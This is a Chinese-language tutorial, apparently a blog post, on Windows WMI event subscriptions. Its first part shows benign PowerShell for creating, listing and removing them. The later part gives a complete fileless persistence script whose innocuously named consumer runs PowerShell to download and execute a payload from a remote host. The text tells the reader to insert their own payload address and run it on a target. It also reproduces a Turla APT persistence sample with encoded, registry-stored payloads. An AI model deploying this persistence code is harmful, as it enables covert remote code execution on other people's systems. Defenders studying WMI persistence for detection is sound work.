“WMI是微软为基于Web的企业管理(WBEM)规范提供的一个实现版本,而WBEM则是一项行业计划,旨在开发用于访问企业环境中管理信息的标准技术。WMI使用公共信息模型(CIM)行业标准来表示系统、应用程序、网络、设备和其他托管组件。”
实际上,所谓事件过滤器只不过就是一个WMI类,用于描述WMI向事件使用者传递的事件。于此同时,事件过滤器还给出了WMI传递事件的条件。
需要在系统上以管理员身份运行才能创建事件实例。
1.WMI事件
WMI事件一共有3个部分组成:
1.1.Filter
WMI 筛选器组件允许我们使用 Windows 管理规范 (WMI) 规则。它包含两个类:MSFT_Rule,它定义管理范围内的单个规则,以及MSFT_SomFilter,它提供在目标设备上评估的查询列表。
1.2.Consumer
Consumer 类是表明了想要进行什么操作,一般是有5种Consumer 类,我们使用其中的一个(或由同一过滤器绑定的多个)来执行某种操作。
1.2.1.ActiveScriptEventConsumer
当事件传递给它时,以任意脚本语言执行预定义的脚本。此可在 Windows 2000 及更高版本上使用。
1.2.2.CommandLineEventConsumer
当一个事件被传递给它时,在本地系统上下文中启动一个任意进程。此适用于 Windows XP 及更高版本。
1.2.3.LogFileEventConsumer
当事件发送到文本日志文件时,将自定义字符串写入文本日志文件。此适用于 Windows XP 及更高版本。
1.2.4.NTEventLogEventConsumer
当事件被传递到 Windows NT 事件日志时,将特定消息记录到 Windows NT 事件日志中。此消费者适用于 Windows XP 及更高版本。
1.2.5.SMTPEventConsumer
每次将事件传递给它时,都使用 SMTP 发送电子邮件。此使用者可在 Windows 2000 及更高版本上使用。
1.3.Binding
绑定实际上是将过滤器和Consumer结合在一起,一旦将这两者绑定在一起,就可以让 WMI 事件订阅立即工作。要禁用现有的 WMI 订阅,只需删除绑定实例。
2.0.查找 WMI 实例
我们可以使用 Get-WMIObject 和由rootSubscription组成的 –Class 参数,然后指定我们希望查看的适当类
代码语言:javascript复制#List Event Filters
Get-WMIObject -Namespace rootSubscription -Class __EventFilter
可以通过 Filter 实例的 Query 属性判断正在使用哪种Consumer。
代码语言:javascript复制#List Event Consumers
Get-WMIObject -Namespace rootSubscription -Class __EventConsumer
代码语言:javascript复制#List 事件绑定
Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding
可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件。
3.0.使用wmiclass创建 WMI 事件订阅
创建 WMI 事件订阅的第一种方法是利用 wmiclass 类型加速器并使用 CreateInstance() 方法。
首先,创建过滤器
代码语言:javascript复制#创建一个新的事件过滤器
$instanceFilter = ([wmiclass]"\.rootsubscription:__EventFilter").CreateInstance()
然后我们需要在这个Filter 实例中添加内容,需要添加的只是 Query、QueryLanguage、EventNamespace 和一个名称。
代码语言:javascript复制$instanceFilter.QueryLanguage = "WQL"
$instanceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance is a 'win32_Service'"
$instanceFilter.Name = "ServiceFilter"
$instanceFilter.EventNamespace = 'rootcimv2'
然后需要将此实例实际保存到 WMI 存储库中,可以通过 Put() 方法来做。
代码语言:javascript复制$result = $instanceFilter.Put()
$newFilter = $result.Path
然后是创建Consumer
代码语言:javascript复制$instanceConsumer = ([wmiclass]"\.rootsubscription:LogFileEventConsumer").CreateInstance()
接下来,我将对象配置为在过滤器触发时创建日志文件。
代码语言:javascript复制$instanceConsumer.Name = 'ServiceConsumer'
$instanceConsumer.Filename = "C:ScriptsLog.log"
$instanceConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
%TargetInstance.Name% 表示正在更改的服务的名称,无论是状态还是其他内容。
最后,我们需要将对象保存到 WMI 存储库中。
代码语言:javascript复制$result = $instanceConsumer.Put()
$newConsumer = $result.Path
然后就是绑定了
代码语言:javascript复制$instanceBinding = ([wmiclass]"\.rootsubscription:__FilterToConsumerBinding").CreateInstance()
绑定在一起并保存实例
代码语言:javascript复制$instanceBinding.Filter = $newFilter
$instanceBinding.Consumer = $newConsumer
$result = $instanceBinding.Put()
$newBinding = $result.Path
现在停止服务并检查 Scripts 文件夹中的日志文件。
代码语言:javascript复制Stop-Service wuauserv -Verbose
4.0.使用 Set-WMIInstance创建 WMI 事件订阅
此方法使用 –Arguments 参数,该参数接受将用于定义每个实例及其属性的哈希表。
首先,将创建将与我的 splatting 一起使用的哈希表,这些也是不会随每个 WMI 实例更改的通用参数。
代码语言:javascript复制splatting $wmiParams = @{
Computername = $env:COMPUTERNAME
ErrorAction = 'Stop'
NameSpace = 'rootsubscription'
}
接下来是过滤器的创建
代码语言:javascript复制$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'ServiceFilter'
EventNamespace = 'rootCIMV2'
QueryLanguage = 'WQL'
Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"
}
$filterResult = Set-WmiInstance @wmiParams
继续创建Consumer
代码语言:javascript复制$wmiParams.Class = 'LogFileEventConsumer'
$wmiParams.Arguments = @{
Name = 'ServiceConsumer'
Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
FileName = "C:ScriptsLog.log" }
$consumerResult = Set-WmiInstance @wmiParams
绑定以启用此事件订阅
代码语言:javascript复制$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiParams
我们可以使用 Remove-WMIObject删除和使用 Get-WMIObject 定位实例并通过管道传输到 Remove-##Removing WMI Subscriptions using Remove-WMIObject
#Filter
Get-WMIObject -Namespace rootSubscription -Class __EventFilter -Filter "Name='ServiceFilter'" | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace rootSubscription -Class LogFileEventConsumer -Filter "Name='ServiceConsumer'" | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ServiceFilter%'" | Remove-WmiObject -Verbose
示例
代码语言:javascript复制<#
Credits to @mattifestion forhis awesome work onWMI and Powershell Fileless Persistence. This script isan adaptation of his work.
#>
function Install-Persistence{
$Payload = "<strong>((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))</strong>"
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
$finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"
# Create event filter
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
# Create CommandLineEventConsumer
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $finalPayload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
# Create FilterToConsumerBinding
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
if($EventCheck -ne $null) {
Write-Host "Event Filter $EventFilterName successfully written to host"
}
#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
if($ConsumerCheck -ne $null) {
Write-Host "Event Consumer $EventConsumerName successfully written to host"
}
#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""
if($BindingCheck -ne $null){
Write-Host "Filter To Consumer Binding successfully written to host"
}
}
function Remove-Persistence{
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
# Clean up Code - Comment this code out when you are installing persistence otherwise it will
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
}
function Check-WMI{
Write-Host "Showing All Root Event Filters"
Get-WmiObject -Namespace root/subscription -Class __EventFilter
Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}
把这个payload的地址修改为我们的就行
然后开始插入事件,一旦正常插入成功后,当目标再次重启系统,管理员[administrator]正常登录,稍等片刻2016可能要稍微多等会儿]当系统在后台轮询到我们的payload事件后,便会被触发执行。
代码语言:javascript复制# powershell -exec bypass
PS > Import-Module .WMI-Persistence.ps1
PS > Install-Persistence
PS > Check-WMI
5.0.Turla APT的样本
代码语言:javascript复制Get-WmiObject CommandLineEventConsumer -Namespace rootsubscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
$NLP35gh = Set-WmiInstance -Namespace "rootsubscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)System32WindowsPowerShellv1.0powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };
Get-WmiObject __eventFilter -namespace rootsubscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace rootsubscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace rootsubscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'rootCimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
Get-WmiObject __eventFilter -namespace rootsubscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace rootsubscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace rootsubscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'rootCimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
这里创建两个 WMI事件过滤器和两个 WMI事件Consumer,Consumer启动 base64 编码的 PowerShell 命令的命令行,然后加载存储在 Windows 注册表中的大型 PowerShell 脚本。
这些事件将分别在 15:30:40 和系统正常运行时间在 300 到 400 秒之间运行。变量$HL39fjh包含 base64 编码的 PowerShell 命令,读取存储加密负载的 Windows 注册表项,并包含解密负载所需的密码和盐。
代码语言:javascript复制[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex
最后,脚本将加密的有效负载存储在 Windows 注册表中,在样本中,攻击者似乎对每个目标使用不同的注册表位置。